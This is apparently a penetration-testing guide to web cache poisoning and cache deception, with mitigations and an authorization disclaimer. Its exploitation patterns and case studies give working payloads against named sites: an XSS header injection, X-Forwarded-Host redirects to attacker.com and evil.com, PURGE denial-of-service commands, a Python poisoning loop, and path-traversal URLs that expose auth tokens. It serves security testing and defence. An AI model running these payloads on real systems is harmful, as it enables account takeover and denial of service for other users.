Cache Poisoning & Cache Deception Testing
A comprehensive skill for testing web cache vulnerabilities including cache poisoning and cache deception attacks.
Quick Start
# Test a target for cache poisoning
python scripts/cache_test.py -u https://target.com -o results.json
# Test for cache deception
python scripts/cache_deception_test.py -u https://target.com
Understanding Cache Vulnerabilities
Cache Poisoning vs Cache Deception
| Cache Poisoning | Cache Deception |
|---|---|
| Attacker stores malicious content in cache | Attacker stores sensitive content in cache |
| Served to other users | Attacker retrieves the cached sensitive data |
| Impact: XSS, redirects, DoS | Impact: Data theft, account takeover |
The Attack Flow
- Identify unkeyed inputs - Parameters/headers that affect response but aren't in cache key
- Exploit the input - Manipulate to change server response
- Get it cached - Ensure the poisoned response is stored
- Verify impact - Confirm other users receive the poisoned content
Discovery Phase
Step 1: Check Cache Headers
Look for these headers in responses:
| Header | What to Look For |
|---|---|
X-Cache |
HIT vs MISS indicates caching |
Cache-Control |
public, max-age values |
Vary |
Headers used in cache key |
Age |
Seconds in cache |
CF-Cache-Status |
Cloudflare cache status |
Action: Send requests and check if responses include cache indicators. Use the cache_test.py script to automate this.
Step 2: Test for Caching Error Codes
Some caches store error responses:
# Send malformed request to trigger 400
curl -H "Invalid-Header: test" https://target.com/
# Then access normally - if you get 400, it's cached
curl https://target.com/
Warning: Not all caches store error codes. This test may not be reliable.
Step 3: Identify Unkeyed Inputs
Use these techniques:
Param Miner (Burp extension) - Brute-force parameters and headers
Manual testing - Try common unkeyed headers:
X-Forwarded-ForX-Forwarded-HostX-Forwarded-SchemeX-HostX-HTTP-Method-OverrideContent-TypeUser-Agent
Run the discovery script:
python scripts/cache_test.py -u https://target.com --discover
Exploitation Patterns
Pattern 1: Header Reflection XSS
Scenario: A header is reflected unsanitized in the response.
Exploit:
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Verify: Access the page without the header - if XSS persists, cache is poisoned.
Pattern 2: Host Header Spoofing
Scenario: X-Forwarded-Host affects redirects/URLs but isn't in cache key.
Exploit:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
Impact: Global redirect to attacker domain, stored XSS via Open Graph tags.
Pattern 3: Content-Type Manipulation
Scenario: Backend errors on unexpected Content-Type, cache stores error.
Exploit:
curl -H "Content-Type: invalid-value" https://target.com/page
curl -X PURGE https://target.com/page # If PURGE is enabled
Impact: DoS for all users, or error page caching.
Pattern 4: Path Traversal Cache Deception
Scenario: CDN caches by extension, origin normalizes paths.
Exploit:
https://target.com/share/%2F..%2Fapi/auth/session?cachebuster=123
Flow:
- CDN sees
.jsextension → caches response - Origin decodes
%2F..%2F→ serves/api/auth/session - Auth token gets cached publicly
- Attacker retrieves cached token
Pattern 5: Extension-Based Cache Deception
Scenario: Sensitive pages return HTML but path has static extension.
Test URLs:
https://target.com/profile.php/nonexistent.js
https://target.com/profile.php/.css
https://target.com/profile.php/../test.js
https://target.com/profile.php/%2e%2e/test.js
Verify: Check if response contains sensitive data AND has cache headers.
Pattern 6: Fat Get Attack
Scenario: Cache uses URL params, backend uses body params.
Exploit:
GET /page?param=attacker HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
param=victim
Impact: Victim's data cached under attacker's URL.
Pattern 7: Vary Header Exploitation
Scenario: Vary: User-Agent limits cache poisoning to specific user agents.
Exploit:
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-Host: attacker.com
Requirement: Know victim's User-Agent to poison their cache variant.
Pattern 8: CSPT + Cache Deception (Account Takeover)
Scenario: SPA with client-side path traversal + extension-based caching.
Exploit Chain:
- Lure victim to:
https://target.com/user?userId=../../../v1/token.css - SPA fetches:
https://api.target.com/v1/users/info/../../../v1/token.css - Browser normalizes to:
https://api.target.com/v1/token.css - CDN caches JSON with auth token (public, max-age=86400)
- Attacker GETs the same URL → retrieves token
Preconditions:
- SPA attaches auth headers to API calls
- CDN caches by extension, not content-type
- No
Varyon auth headers
Case Studies
HackerOne: Global Redirect via X-Forwarded-Host
Vulnerability: Origin used X-Forwarded-Host for redirects, cache key only used Host.
Poison:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
Impact: All visitors redirected to attacker domain.
GitHub: Repository DoS via Content-Type + PURGE
Vulnerability: Anonymous traffic keyed on path only, backend errored on bad Content-Type.
Exploit:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
Impact: DoS for all unauthenticated users of the repo.
Shopify: Cross-Host Persistence
Vulnerability: Shared cache across multiple hosts.
Exploit:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
Impact: Cache poisoning across multiple properties.
GitLab: Static DoS via X-HTTP-Method-Override
Vulnerability: GCS honored X-HTTP-Method-Override, cache ignored HTTP method.
Exploit:
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
Impact: Empty JS bundle cached, UI DoS.
Testing Checklist
Initial Reconnaissance
- Check
X-Cache,Cache-Control,Varyheaders - Identify CDN/proxy in use (Cloudflare, Akamai, Fastly, etc.)
- Map cacheable vs non-cacheable endpoints
- Test error code caching (400, 403, 404)
Unkeyed Input Discovery
- Test
X-Forwarded-Host,X-Forwarded-For,X-Forwarded-Scheme - Test
X-Host,X-HTTP-Method-Override - Test
Content-Type,User-Agent - Use Param Miner or
cache_test.py --discover - Check for header reflection in responses
Cache Deception Testing
- Append
.js,.css,.pngto dynamic endpoints - Test path traversal:
/page.php/../static.js - Test URL encoding:
/page.php/%2e%2e/test.js - Check for sensitive data in cached responses
- Verify
Content-Typevs file extension mismatch
Exploitation Verification
- Poison cache with test payload
- Access from different IP/browser
- Confirm payload persists without original headers
- Check
X-Cache: HITon subsequent requests - Document blast radius (affected endpoints, users)
Automated Testing
Using the Cache Test Script
# Basic cache vulnerability scan
python scripts/cache_test.py -u https://target.com
# Discovery mode - find unkeyed inputs
python scripts/cache_test.py -u https://target.com --discover
# Test specific headers
python scripts/cache_test.py -u https://target.com --headers "X-Forwarded-Host,X-Forwarded-For"
# Output to JSON
python scripts/cache_test.py -u https://target.com -o results.json
Using the Cache Deception Script
# Test for cache deception vulnerabilities
python scripts/cache_deception_test.py -u https://target.com
# Test specific extensions
python scripts/cache_deception_test.py -u https://target.com --extensions ".js,.css,.json"
# Include path traversal tests
python scripts/cache_deception_test.py -u https://target.com --traversal
Mitigation Recommendations
For Cache Poisoning
- Use proper Vary headers - Include all headers that affect response
- Validate and sanitize - Never trust
X-Forwarded-*headers - Cache only safe responses - Don't cache error pages or dynamic content
- Use cache tags - Implement cache invalidation strategies
- Monitor cache headers - Alert on unexpected cache behavior
For Cache Deception
- Cache by Content-Type - Not just file extension
- Validate paths - Reject path traversal attempts
- Use Vary: Authorization - For authenticated endpoints
- Set proper Cache-Control -
no-storefor sensitive data - Implement SRI - For static assets
References
- PortSwigger Web Cache Poisoning
- PortSwigger Web Cache Deception
- Web Cache Vulnerability Scanner
- toxicache
- CacheDecepHound
Legal Disclaimer
Only test systems you have explicit authorization to assess. Cache poisoning can cause DoS and affect real users. Always:
- Get written authorization
- Use cache busters during testing
- Test in staging when possible
- Have a rollback plan
- Document all findings responsibly